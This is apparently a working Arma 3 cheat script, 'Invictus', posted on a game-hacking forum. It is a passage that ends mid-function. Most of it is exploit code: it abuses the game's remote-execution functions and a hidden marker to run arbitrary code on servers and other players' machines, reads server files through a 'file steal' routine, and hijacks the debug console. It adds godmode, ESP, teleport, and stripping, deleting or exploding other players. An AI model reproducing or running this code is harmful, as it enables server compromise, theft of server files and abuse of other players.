Code:
Raw invictus-load.sqf
/*
Decrypted and Fixed for MPGH
22.11.2015
*/
//1decrypt
['DEFINITIONEN'] call {
O_fnc_RE = 0;
O_fnc_Current = 1;
O_fnc_MinMenu = 1;
O_fnc_MaxMenu = 13;
O_fnc_quickAttach = false;
O_fnc_whiles = false;
O_fnc_RunnedFSteal = false;
O_fnc_keySetup = false;
O_fnc_QuickAccessMenu = false;
Q_fnc_QuickAccessOpened = false;
O_fnc_quickEnd = false;
O_fnc_quickExec = false;
O_fnc_quickDummy = false;
O_fnc_quickESP = false;
O_fnc_quickGod = false;
O_fnc_quickPlayAction = false;
O_fnc_initMenu = {};
O_fnc_keyBind = {};
O_fnc_QuickkeyStuff = {};
O_fnc_Modus = "AltisLife";
O_fnc_textTarget = "Invictus";
O_fnc_textDeleteTar = "";
O_fnc_textDummy = "";
O_fnc_textESP = "";
O_fnc_textExplodeTar = "";
O_fnc_textGearTar = "";
O_fnc_textGod = "";
O_fnc_textHeal = "";
O_fnc_textJoinVeh = "";
O_fnc_textTarget = "";
O_fnc_textTeleport = "";
};
['FUNCTIONS'] call {
O_fnc_ArmA = {
if(isNil 'O_fnc_REFirstRuntime') then {
O_fnc_REFirstRuntime = createMarker ["Christian",[0,0]];
"Christian" setMarkerShape "ICON";
"Christian" setMarkerType "Empty";
"Christian" setMarkerAlpha 0;
_code = '
[] spawn {
if(isServer) then {
while{true} do {
waitUntil{ (markerText "Christian") != ""};
_text = markerText "Christian";
"Christian" setMarkerText "";
("LOGIC") createUnit[[0,0,0],createGroup sideLogic,";" + _text + ";"];
};
};
};
';
if(!isNil "LIFE_fnc_1MP") then {
call O_fnc_ArmAInf;
} else {
_fnc_mpPacket = "Nothing";
if (!isNil "LIFE_fnc_mp")then{
_fnc_mpPacket = life_fnc_MP;
}else{
_fnc_mpPacket = BIS_fnc_MP;
};
_lvl0 = {
_initRE = {
life_fnc_MP_packet = {_text = str(_this);call compile _text;};
publicVariable "life_fnc_MP_packet";
uiSleep 1;
};
if(!isNil 'life_fnc_MP_packet') then {
if(typeName life_fnc_MP_packet != "CODE") then {
call _initRE;
};
} else {
call _initRE;
};
[createTeam["INFINI",(_this)],"life_fnc_MP_packet",true,false] call BIS_fnc_MP;
};
_lvl1 = {
[[_this],"DB_fnc_mresToArray",false,false] call BIS_fnc_execRemote;
};
_lvl2 = {
[{_this},"BIS_fnc_Spawn",false,false] call BIS_fnc_MP;
};
_lvl3 = {
_agent1 = createAgent ["C_man_1", position player, [], 0, "SAFE"];
[_agent1,configFile >> "CfgVehicles" >> "C_Nikos_aged"] call BIS_fnc_loadInventory;
_agent1 spawn{
_this setName "Agent";
_this setVariable["agentObject",_this,true];
_this setVariable ["owner", "world", true];
_this setVariable ["BIS_fnc_animalBehaviour_disable", true];
_this setVariable ['BIS_enableRandomization',false];
};
_agent1 addMPEventhandler ['MPKilled',_this];
_agent1 setDamage 5;
deleteVehicle _agent1;
};
_lvl4 = {
{_this} remoteExec ["BIS_fnc_Spawn", 0];
};
_lvl5 = {
("LOGIC") createUnit [[0,0,0],createGroup sideLogic,";" + _this + ";"];
};
_code call _lvl1;
call O_fnc_ArmAInf;
};
};
waitUntil {!isNil "O_fnc_REFirstRuntime"};
_code = _this select 0;
_target = [_this,1,"SWAGGER"] call BIS_fnc_param;
_text = _code;
if(typename _code == typename []) then {
_text = _code select 0;
};
if(typename _text == "CODE") then {
_arr = toArray str(_text);
_arr set [0,32];
_arr set [count(_arr)-1,32];
_text = toString _arr;
};
if(typename _target != "STRING") then {
if(typename _target == "OBJECT") then {
_netId = netId _target;
_text = format["[] spawn {if(netid player == '%2') then {%1};};",_text,_netID];
} else {
if(typename _target == typename true) then {
if(!_target) then {
_text = format[" [] spawn {if(isServer) then {%1};};",_text];
} else {
_text = format[" [] spawn {if(!isDedicated) then {%1};};",_text];
};
};
};
} else {
_text = format["[] spawn {%1};",_text];
};
"Christian" setMarkerText _text;
};
O_fnc_ArmAInf = {
_babe = {
profileNamespace setVariable ['STEAM_NAME_ARRAY', []];
};
[_babe, player] call O_fnc_ArmA;
};
O_fnc_ArmAFile = {
disableSerialization;
_edit = uiNamespace getVariable "RscEdit";
O_fnc_fileName = ctrlText _edit;
if (O_fnc_fileName == "")exitWith {hint "Enter a filename"};
_babe = format["
_contents = preprocessfile '%1';
missionNamespace setVariable ['JipTimeNow', 'NOPE'];
missionNamespace setVariable ['JipTimeNow', _contents];
publicVariable 'JipTimeNow'; ",O_fnc_fileName];
[_babe, false] call O_fnc_ArmA;
"JipTimeNow" addPublicVariableEventHandler {
_t = _this select 1;
profileNamespace setVariable['OfnmmNMMnn', _this select 1];
saveProfileNamespace;
_t = profileNamespace getVariable "OfnmmNMMnn";
[_t,O_fnc_fileName] spawn O_fnc_initFSteal;
};
};
};
['CALLBACK FUNCTIONS'] call {
O_fnc_inString = compileFinal '
private["_string","_separator","_stringArray","_separatorArray","_resultArray","_localArray"];
_string = [_this,0,"",[""]] call bis_fnc_param;
_separator = [_this,1,"",[""]] call bis_fnc_param;
_stringArray = toArray _string;
_separatorArray = toArray _separator;
_resultArray = [];
_localArray = [];
{
if (_x in _separatorArray) then {
_resultArray set [count _resultArray,toString _localArray];
_localArray = [];
} else {
_localArray set [count _localArray,_x];
};
} foreach _stringArray;
_resultArray set [count _resultArray,toString _localArray];
_resultArray = _resultArray - [""];
_resultArray
';
O_fnc_Contains = compileFinal '
private ["_find", "_string", "_casesensitive", "_found", "_findarray", "_stringarray", "_findcount", "_stringcount", "_match", "_y", "_i", "_x", "_forEachIndex"];
_find = [_this, 0, "", [""]] call BIS_fnc_param;
_string = [_this, 1, "", [""]] call BIS_fnc_param;
_casesensitive = [_this, 2, false, [false]] call BIS_fnc_param;
_found = false;
_findarray = toArray _find;
_stringarray = toArray _string;
_findcount = count _findarray;
_stringcount = count _stringarray;
scopeName "main";
if (_findcount <= _stringcount) then
{
for "_y" from 0 to (_stringcount - _findcount) do
{
_match = [];
for "_i" from 0 to (_findcount - 1) do
{
_match set [count _match, _stringarray select (_y + _i)];
};
if (_casesensitive) then
{
_found = true;
{
if (_x != (_match select _forEachIndex)) then
{
_found = false;
};
} forEach _findarray;
}
else
{
if (_find == toString _match) then
{
_found = true;
};
};
if (_found) then {breakTo "main";};
};
};
_found;
';
};
['MAIN FUNCTIONS'] call {
O_fnc_CPerson = {
disableSerialization;
O_fnc_DummyID = player;
_dummy = createAgent ["C_man_1", position player, [], 0, "SAFE"];
[_dummy,configFile >> "CfgVehicles" >> "C_Nikos_aged"] call BIS_fnc_loadInventory;
_dummy setName "DrNobody";
_dummy setVariable["agentObject",_this,true];
_dummy setVariable ["steam64ID","751267613374118"];
_dummy setVariable ["realname","DrNobody",true];
_dummy setVariable ["realName","DrNobody",true];
_dummy setVariable ["restrained",false,true];
_dummy setVariable ["Escorting",false,true];
_dummy setVariable ["transporting",false,true];
_dummy setVariable ["owner", "world", true];
if (!isNil "life_fnc_playerTags")then{
disableSerialization;
[] call life_fnc_playerTags;
}else{
disableSerialization;
[] call compile preprocessfileLineNumbers "core\functions\fn_playerTags.sqf";
};
selectPlayer _dummy;
vehicle _dummy switchCamera "EXTERNAL";
};
};
O_fnc_initFSteal = {
disableSerialization;
closeDialog 49;
_text = _this select 0;
_file = _this select 1;
_filter = "
";
_text = toArray _text;
_filter = toArray _filter;
{
if(_x in _filter) then {
_text set[_forEachIndex,32];
};
} foreach _text;
_text = _text - [-1];
_text = toString _text;
if (_text == "")then{
_text = profileNamespace getVariable "OfnmmNMMnn";
};
if (_file == "")exitWith {hint "Enter a filename"};
if (_text != "")then{
call compile format['findDisplay 46 cre'+'a'+'te'+'Di'+'sp'+'la'+'y "Rs"+"cDi"+"spl"+"ayDe"+"bu"+"g";'];
waitUntil {!isNull findDisplay 56};
O_fnc_RunnedFSteal = true;
_1 = (findDisplay 56) displayCtrl 13142;
_1 ctrlShow false;
_1 = (findDisplay 56) displayCtrl 13155;
_1 ctrlShow false;
_1 = (findDisplay 56) displayCtrl 151;
_1 ctrlShow false;
_1 = (findDisplay 56) displayCtrl 13157;
_1 ctrlShow false;
_1 = (findDisplay 56) displayCtrl 13158;
_1 ctrlShow false;
_1 = (findDisplay 56) displayCtrl 13159;
_1 ctrlShow false;
_1 = (findDisplay 56) displayCtrl 13160;
_1 ctrlShow false;
_1 = (findDisplay 56) displayCtrl 13161;
_1 ctrlShow false;
_1 = (findDisplay 56) displayCtrl 13162;
_1 ctrlShow false;
_1 = (findDisplay 56) displayCtrl 13163;
_1 ctrlShow false;
_1 = (findDisplay 56) displayCtrl 12145;
_1 ctrlShow false;
_1 = (findDisplay 56) displayCtrl 11838;
_1 ctrlShow false;
_1 = (findDisplay 56) displayCtrl 12146;
_1 ctrlShow false;
_1 = (findDisplay 56) displayCtrl 12537;
_1 ctrlShow false;
_1 = (findDisplay 56) displayCtrl 13037;
_1 ctrlShow false;
_1 = (findDisplay 56) displayCtrl 13036;
_1 ctrlShow false;
_1 = (findDisplay 56) displayCtrl 13039;
_1 ctrlShow false;
_1 = (findDisplay 56) displayCtrl 13038;
_1 ctrlShow false;
_1 = (findDisplay 56) displayCtrl 103;
_1 ctrlShow false;
_1 = (findDisplay 56) displayCtrl 152;
_1 ctrlShow false;
_1 = (findDisplay 56) displayCtrl 102;
_1 ctrlSetText "Execute Local";
_1 buttonSetAction '_back = (findDisplay 56) displayCtrl 101; _text = ctrlText _back; call compile format ["%1",_text];';
_1 = (findDisplay 56) displayCtrl 1;
_1 ctrlSetText "Execute Global";
_1 buttonSetAction '_back = (findDisplay 56) displayCtrl 101; _text = ctrlText _back; call compile format ["[{%1},TRUE] call O_fnc_ArmA;",_text];';
_1 = (findDisplay 56) displayCtrl 11736;
_1 ctrlSetText format ["Content: %1",_file];
_1 = (findDisplay 56) displayCtrl 101;
_1 ctrlSetText _text;
while {!isNull findDisplay 56}do {
waitUntil {isNull findDisplay 56};
"dynamicBlur" ppEffectEnable false;
};
}else{
hint format ["File not found... Return: [%1] ", str _text];
};
};
//2decrypt
O_fnc_QuickAccess = {
Q_fnc_QuickAccessOpened = true;
disableSerialization;
_display = findDisplay 46;
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [-0.9125,-0.56,0.2825,0.58];
_back ctrlSetBackgroundColor [0,0,0,0.65];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_1_QuickAccess", _back];
_back = _display ctrlCreate ["RscStructuredText", -1];
_back ctrlSetPosition [-0.9125,-0.56,0.2825,0.04];
_back ctrlSetText format ["TARGET: %1",cursorTarget];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscStructuredText_1_QuickAccess", _back];
_back = _display ctrlCreate ["RscStructuredText", -1];
_back ctrlSetPosition [-0.9125,-0.50,0.2825,0.04];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscStructuredText_2_QuickAccess", _back];
_back = _display ctrlCreate ["RscStructuredText", -1];
_back ctrlSetPosition [-0.9125,-0.46,0.2825,0.04];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscStructuredText_3_QuickAccess", _back];
_back = _display ctrlCreate ["RscStructuredText", -1];
_back ctrlSetPosition [-0.9125,-0.42,0.2825,0.04];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscStructuredText_4_QuickAccess", _back];
_back = _display ctrlCreate ["RscStructuredText", -1];
_back ctrlSetPosition [-0.9125,-0.38,0.2825,0.04];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscStructuredText_5_QuickAccess", _back];
_back = _display ctrlCreate ["RscStructuredText", -1];
_back ctrlSetPosition [-0.9125,-0.34,0.2825,0.04];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscStructuredText_6_QuickAccess", _back];
_back = _display ctrlCreate ["RscStructuredText", -1];
_back ctrlSetPosition [-0.9125,-0.30,0.2825,0.04];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscStructuredText_7_QuickAccess", _back];
_back = _display ctrlCreate ["RscStructuredText", -1];
_back ctrlSetPosition [-0.9125,-0.26,0.2825,0.04];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscStructuredText_8_QuickAccess", _back];
_back = _display ctrlCreate ["RscStructuredText", -1];
_back ctrlSetPosition [-0.9125,-0.22,0.2825,0.04];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscStructuredText_9_QuickAccess", _back];
_back = _display ctrlCreate ["RscStructuredText", -1];
_back ctrlSetPosition [-0.9125,-0.18,0.2825,0.04];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscStructuredText_10_QuickAccess", _back];
_back = _display ctrlCreate ["RscStructuredText", -1];
_back ctrlSetPosition [-0.9125,-0.14,0.2825,0.04];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscStructuredText_11_QuickAccess", _back];
_back = _display ctrlCreate ["RscStructuredText", -1];
_back ctrlSetPosition [-0.9125,-0.10,0.2825,0.04];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscStructuredText_12_QuickAccess", _back];
_back = _display ctrlCreate ["RscStructuredText", -1];
_back ctrlSetPosition [-0.9125,-0.06,0.2825,0.04];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscStructuredText_13_QuickAccess", _back];
_back = _display ctrlCreate ["RscStructuredText", -1];
_back ctrlSetPosition [-0.9125,-0.02,0.2825,0.04];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscStructuredText_14_QuickAccess", _back];
O_fnc_QuickkeyStuff = {
switch (_this)do{
case 0xC8:
{
if (O_fnc_Current == O_fnc_MinMenu)then{
O_fnc_Current = O_fnc_MaxMenu;
}else{
O_fnc_Current = O_fnc_Current - 1;
};
};
case 0xD0:
{
if (O_fnc_Current == O_fnc_MaxMenu)then{
O_fnc_Current = O_fnc_MinMenu;
}else{
O_fnc_Current = O_fnc_Current + 1;
};
};
case 0xCD:
{
O_fnc_quickExec = true;
};
case 0xCB:
{
O_fnc_quickEnd = true;
};
};
};
_undef = (findDisplay 46) displayAddEventHandler ["KeyDown", "_this select 1 call O_fnc_QuickkeyStuff;false;"];
[] spawn {
while {true}do{
if (O_fnc_Current == 1) then{
O_fnc_textGod = "- Godmode -";
}else { O_fnc_textGod = " Godmode ";};
if (O_fnc_Current == 2)then{
O_fnc_textHeal = "- Heal Meh -";
}else { O_fnc_textHeal = " Heal Meh ";};
if (O_fnc_Current == 3)then{
O_fnc_textESP = "- ESP -";
}else { O_fnc_textESP = " ESP ";};
if (O_fnc_Current == 4)then{
O_fnc_textDummy = "- Dummy -";
}else { O_fnc_textDummy = " Dummy ";};
if (O_fnc_Current == 5)then{
O_fnc_textTeleport = "- Teleport -";
}else { O_fnc_textTeleport = " Teleport ";};
if (O_fnc_Current == 6)then{
O_fnc_textGearTar = "- Gear Target -";
}else { O_fnc_textGearTar = " Gear Target ";};
if (O_fnc_Current == 7)then{
O_fnc_textDeleteTar = "- Delete Target -";
}else { O_fnc_textDeleteTar = " Delete Target ";};
if (O_fnc_Current == 8)then{
O_fnc_textJoinVeh = "- Join Vehicle -";
}else { O_fnc_textJoinVeh = " Join Vehicle ";};
if (O_fnc_Current == 9)then{
O_fnc_textExplodeTar = "- Explode Target -";
}else {O_fnc_textExplodeTar = " Explode Target ";};
if (O_fnc_Current == 10)then{
O_fnc_textSculptureTar = "- Sculpture Target -";
}else {O_fnc_textSculptureTar = " Sculpture Target ";};
if (O_fnc_Current == 11)then{
O_fnc_textAttachTar = "- Attach Target -";
}else {O_fnc_textAttachTar = " Attach Target ";};
if (O_fnc_Current == 12)then{
O_fnc_textGetInAllTar = "- All in Vehicle -";
}else {O_fnc_textGetInAllTar = " All in Vehicle ";};
if (O_fnc_Current == 13)then{
O_fnc_textPlayActionTar = "- PlayAction Target -";
}else {O_fnc_textPlayActionTar = " PlayAction Target ";};
if (cursorTarget isKindOf "Man") then{
if (isPlayer cursorTarget) then{
O_fnc_textTarget = name cursorTarget;
}else{
try{
O_fnc_textTarget = "AI: " + name cursorTarget;
}catch{
O_fnc_textTarget = "AI";
};
};
}else{
try{
_tar = cursorTarget;
if (_tar isKindOf "LandVehicle" || _tar isKindOf "Air" || _tar isKindOf "Ship" && driver _tar != objNull) then{
_cursorTarget = getText (configFile >> "CfgVehicles" >> typeOf cursorTarget >> "displayName");
O_fnc_textTarget = "("+ _cursorTarget +") " + name (driver cursorTarget);
}else{
if (_tar isKindOf "LandVehicle" || _tar isKindOf "Air" || _tar isKindOf "Ship") then{
O_fnc_textTarget = "("+ _cursorTarget +") ";
};
};
}catch{
O_fnc_textTarget = cursorTarget;
};
};
(uiNamespace getVariable "RscStructuredText_1_QuickAccess") ctrlSetStructuredText parseText format["<t size='0.75' font='puristaLight' color='#5CB0CC' align='center'><t shadowColor='#000000'>"+O_fnc_textTarget+"</t>"];
if (O_fnc_quickGod)then{
(uiNamespace getVariable "RscStructuredText_2_QuickAccess") ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#6FCC5C' align='center'><t shadowColor='#000000'>"+O_fnc_textGod+"</t>"];
}else{
(uiNamespace getVariable "RscStructuredText_2_QuickAccess") ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#5CB0CC' align='center'><t shadowColor='#000000'>"+O_fnc_textGod+"</t>"];
};
(uiNamespace getVariable "RscStructuredText_3_QuickAccess") ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#5CB0CC' align='center'><t shadowColor='#000000'>"+O_fnc_textHeal+"</t>"];
if (O_fnc_quickESP)then{
(uiNamespace getVariable "RscStructuredText_4_QuickAccess") ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#6FCC5C' align='center'><t shadowColor='#000000'>"+O_fnc_textESP+"</t>"];
}else{
(uiNamespace getVariable "RscStructuredText_4_QuickAccess") ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#5CB0CC' align='center'><t shadowColor='#000000'>"+O_fnc_textESP+"</t>"];
};
if (O_fnc_quickDummy)then{
(uiNamespace getVariable "RscStructuredText_5_QuickAccess") ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#6FCC5C' align='center'><t shadowColor='#000000'>"+O_fnc_textDummy+"</t>"];
}else{
(uiNamespace getVariable "RscStructuredText_5_QuickAccess") ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#5CB0CC' align='center'><t shadowColor='#000000'>"+O_fnc_textDummy+"</t>"];
};
(uiNamespace getVariable "RscStructuredText_6_QuickAccess") ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#5CB0CC' align='center'><t shadowColor='#000000'>"+O_fnc_textTeleport+"</t>"];
(uiNamespace getVariable "RscStructuredText_7_QuickAccess") ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#5CB0CC' align='center'><t shadowColor='#000000'>"+O_fnc_textGearTar+"</t>"];
(uiNamespace getVariable "RscStructuredText_8_QuickAccess") ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#5CB0CC' align='center'><t shadowColor='#000000'>"+O_fnc_textDeleteTar+"</t>"];
(uiNamespace getVariable "RscStructuredText_9_QuickAccess") ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#5CB0CC' align='center'><t shadowColor='#000000'>"+O_fnc_textJoinVeh+"</t>"];
(uiNamespace getVariable "RscStructuredText_10_QuickAccess") ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#5CB0CC' align='center'><t shadowColor='#000000'>"+O_fnc_textExplodeTar+"</t>"];
(uiNamespace getVariable "RscStructuredText_11_QuickAccess") ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#5CB0CC' align='center'><t shadowColor='#000000'>"+O_fnc_textSculptureTar+"</t>"];
if (O_fnc_quickAttach)then{
(uiNamespace getVariable "RscStructuredText_12_QuickAccess") ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#6FCC5C' align='center'><t shadowColor='#000000'>"+O_fnc_textAttachTar+"</t>"];
}else{
(uiNamespace getVariable "RscStructuredText_12_QuickAccess") ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#5CB0CC' align='center'><t shadowColor='#000000'>"+O_fnc_textAttachTar+"</t>"];
};
(uiNamespace getVariable "RscStructuredText_13_QuickAccess") ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#5CB0CC' align='center'><t shadowColor='#000000'>"+O_fnc_textGetInAllTar+"</t>"];
if (O_fnc_quickPlayAction)then{
(uiNamespace getVariable "RscStructuredText_14_QuickAccess") ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#6FCC5C' align='center'><t shadowColor='#000000'>"+O_fnc_textPlayActionTar+"</t>"];
}else{
(uiNamespace getVariable "RscStructuredText_14_QuickAccess") ctrlSetStructuredText parseText format["<t size='0.8' font='puristaLight' color='#5CB0CC' align='center'><t shadowColor='#000000'>"+O_fnc_textPlayActionTar+"</t>"];
};
switch (O_fnc_Current) do {
case 1:
{
if (O_fnc_quickExec)then{
O_fnc_quickExec = false;
O_fnc_quickGod = true;
player allowDamage false;
}else{
if (O_fnc_quickEnd)then{
O_fnc_quickEnd = false;
O_fnc_quickGod = false;
player allowDamage true;
};
};
};
case 2:
{
if (O_fnc_quickExec)then{
O_fnc_quickExec = false;
player setDamage 0;
};
};
case 3:
{
if (O_fnc_quickExec)then{
O_fnc_quickExec = false;
O_fnc_quickESP = true;
onEachFrame {
{
if(side _x != side player && ((player distance _x) < 700) && isPlayer _x) then {
drawIcon3D ["", [1,0,0,0.7], position _x, 1, 1, 45, name _x, 1, 0.03, "PuristaBold"]
}else{
if (alive _x && ((player distance _x) < 700) && isPlayer _x) then{
drawIcon3D ["", [0,1,0.5,0.4], position _x, 1, 1, 45, name _x, 1, 0.03, "PuristaBold"]
};
};
} foreach allUnits;
_mans = nearestobjects [player,["man"],100];
{
if(alive _x && ((player distance _x) < 700) && isPlayer _x) then {
if(side _x != side player) then {
if(player distance _x < 5 && _x iskindof "man" && side _x != civilian && isPlayer _x) then {
drawLine3D [[getposatl player select 0, getposatl player select 1, 1], _x, [1,0.2,0.3,(abs((((player distance _x)) - 100)/100))]]
}else{
drawLine3D [[getposatl player select 0, getposatl player select 1, 1], _x, [1,0,0,(abs((((player distance _x)) - 100)/100))]]
};
}else{
drawLine3D [[getposatl player select 0, getposatl player select 1, 1], _x, [0,1,0,(abs((((player distance _x)) - 100)/100))]]};
};
}foreach _mans;
};
}else{
if (O_fnc_quickEnd)then
{
O_fnc_quickEnd = false;
O_fnc_quickESP = false;
onEachFrame {};
};
};
};
case 4:
{
if (O_fnc_quickExec)then
{
O_fnc_quickExec = false;
O_fnc_quickDummy = true;
[] spawn O_fnc_CPerson;
}else{
if (O_fnc_quickEnd)then
{
O_fnc_quickEnd = false;
O_fnc_quickDummy = false;
if (!isNil "O_fnc_DummyID")then
{
_player = O_fnc_DummyID; selectPlayer _player; vehicle _player switchCamera "EXTERNAL"; O_fnc_DummyID = nil;
};
};
};
};
case 5:
{
if (O_fnc_quickExec)then{
O_fnc_quickExec = false;
_pos = vehicle player modelToWorld[0,10,0];
vehicle player setPos _pos;
};
};
case 6:
{
if (O_fnc_quickExec)then{
O_fnc_quickExec = false;
_vest = vest cursorTarget;
_uniform = uniform cursorTarget;
_backpack = backpack cursorTarget;
_weapon = primaryWeapon cursorTarget;
_weapon2 = secondaryWeapon cursorTarget;
_head = headgear cursorTarget;
_items = itemsWithMagazines cursorTarget;
player addVest _vest;
player addUniform _uniform;
player addBackPack _backpack;
player addWeapon _weapon;
player addWeapon _weapon2;
player addHeadgear _head;
{
player addItem _x;
}forEach _items;
removeVest cursorTarget;
removeUniform cursorTarget;
removeBackpackGlobal cursorTarget;
removeHeadgear cursorTarget;
removeAllWeapons cursorTarget;
cursorTarget removeWeaponGlobal (primaryWeapon cursorTarget);
cursorTarget removeWeaponGlobal (secondaryWeapon cursorTarget);
removeAllItemsWithMagazines cursorTarget;
}else{
if (O_fnc_quickEnd)then
{
O_fnc_quickEnd = false;
_vest = vest player;
_uniform = uniform player;
_backpack = backpack player;
_weapon = primaryWeapon player;
_weapon2 = secondaryWeapon player;
_head = headgear player;
_items = itemsWithMagazines player;
cursorTarget addVest _vest;
cursorTarget addUniform _uniform;
cursorTarget addBackPack _backpack;
cursorTarget addWeapon _weapon;
cursorTarget addWeapon _weapon2;
cursorTarget addHeadgear _head;
{
cursorTarget addItem _x;
}forEach _items;
};
};
};
case 7:
{
if (O_fnc_quickExec)then{
O_fnc_quickExec = false;
deleteVehicle cursorTarget;
};
};
case 8:
{
if (O_fnc_quickExec)then{
O_fnc_quickExec = false;
try{
cursorTarget lock false;
player moveinDriver cursorTarget;
}catch{
};
};
};
case 9:
{
if (O_fnc_quickExec)then{
O_fnc_quickExec = false;
cursorTarget setDammage 1;
};
};
case 10:
{
if (O_fnc_quickExec)then{
O_fnc_quickExec = false;
{
if (player distance _x < 150)then
{
if (netID _x != netID player)then
{
_x attachTo [cursorTarget,[5, 5, 5], "Pelvis"];
};
};
}forEach allMissionObjects "all";
};
};
case 11:
{
if (O_fnc_quickExec)then
{
O_fnc_quickExec = false;
O_fnc_quickAttach = true;
cursorTarget attachTo [player,[0, 6, 0], "Pelvis"];
}else{
if (O_fnc_quickEnd)then
{
O_fnc_quickEnd = false;
O_fnc_quickAttach = false;
{
detach _x;
} forEach attachedObjects player;
};
};
};
case 12:
{
if (O_fnc_quickExec)then{
O_fnc_quickExec = false;
[] spawn {
{
_cur = cursorTarget;
if (netID _x != netID player)then{
_x moveInDriver _cur;
};
sleep 0.5;
{
{
moveOut _x
};
}forEach crew _cur;
}forEach allPlayers;
};
};
};
case 13:
{
if (O_fnc_quickExec)then
{
O_fnc_quickExec = false;
O_fnc_quickPlayAction = true;
cursorTarget playAction "SitDown";
}else{
if (O_fnc_quickEnd)then
{
O_fnc_quickEnd = false;
O_fnc_quickPlayAction = false;
cursorTarget switchMove "FXStandDip"
};
};
};
};
sleep 0.075;
};
};
};
//3decrypt
O_fnc_initMenu = {
disableSerialization;
"dynamicBlur" ppEffectEnable false;
findDisplay 46 createDisplay "RscDisplayMPInterrupt";
//waitUntil {!isNull findDisplay 49};
_1 = (findDisplay 49) displayCtrl 104;
_1 ctrlShow false;
_1 = (findDisplay 49) displayCtrl 302;
_1 ctrlShow false;
_1 = (findDisplay 49) displayCtrl 2;
_1 ctrlShow false;
_1 = (findDisplay 49) displayCtrl 303;
_1 ctrlShow false;
_1 = (findDisplay 49) displayCtrl 307;
_1 ctrlShow false;
_1 = (findDisplay 49) displayCtrl 101;
_1 ctrlShow false;
_1 = (findDisplay 49) displayCtrl 1010;
_1 ctrlShow false;
_1 = (findDisplay 49) displayCtrl 103;
_1 ctrlShow false;
_1 = (findDisplay 49) displayCtrl 1002;
_1 ctrlShow false;
_1 = (findDisplay 49) displayCtrl 122;
_1 ctrlShow false;
_1 = (findDisplay 49) displayCtrl 301;
_1 ctrlShow false;
_1 = (findDisplay 49) displayCtrl 13184;
_1 ctrlShow false;
_1 = (findDisplay 49) displayCtrl 6455;
_1 ctrlShow false;
_1 = (findDisplay 49) displayCtrl 2351;
_1 ctrlShow false;
_1 = (findDisplay 49) displayCtrl 120;
_1 ctrlShow false;
_1 = (findDisplay 49) displayCtrl 109;
_1 ctrlShow false;
_1 = (findDisplay 49) displayCtrl 523;
_1 ctrlShow false;
_1 = (findDisplay 49) displayCtrl 121;
_1 ctrlShow false;
_1 = (findDisplay 49) displayCtrl 1005;
_1 ctrlShow false;
_1 = (findDisplay 49) displayCtrl 1000;
_1 ctrlShow false;
_1 = (findDisplay 49) displayCtrl 1001;
_1 ctrlShow false;
_1 = (findDisplay 49) displayCtrl 115099;
_1 ctrlShow false;
_1 = (findDisplay 49) displayCtrl 1050;
_1 ctrlShow false;
_1 = (findDisplay 49) displayCtrl 114998;
_1 ctrlShow false;
"dynamicBlur" ppEffectEnable true;
"dynamicBlur" ppEffectAdjust [1.6];
"dynamicBlur" ppEffectCommit 0;
_display = findDisplay 49;
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [-0.675,1.1,2.39848,0.198];
_back ctrlSetBackgroundColor [0,0,0,0.25];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_1", _back];
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [-0.1125,-0.28,1.275,1.36];
_back ctrlSetBackgroundColor [0.99,0.97,0.78,0.15];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_2", _back];
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [-0.675,1.29674,2.403,0.0025];
_back ctrlSetBackgroundColor [0.6,0,0,1];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_3", _back];
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [-0.675,1.1,0.0025,0.197974];
_back ctrlSetBackgroundColor [0.6,0,0,1];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_4", _back];
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [-0.675,1.1,2.4,0.0025];
_back ctrlSetBackgroundColor [0.6,0,0,1];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_5", _back];
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [-0.675,-0.28,0.55,0.0025];
_back ctrlSetBackgroundColor [0.6,0,0,1];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_6", _back];
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [-0.6715,-0.28,0.01,0.0025];
_back ctrlSetBackgroundColor [0.6,0,0,1];
_back ctrlCommit 0.0;
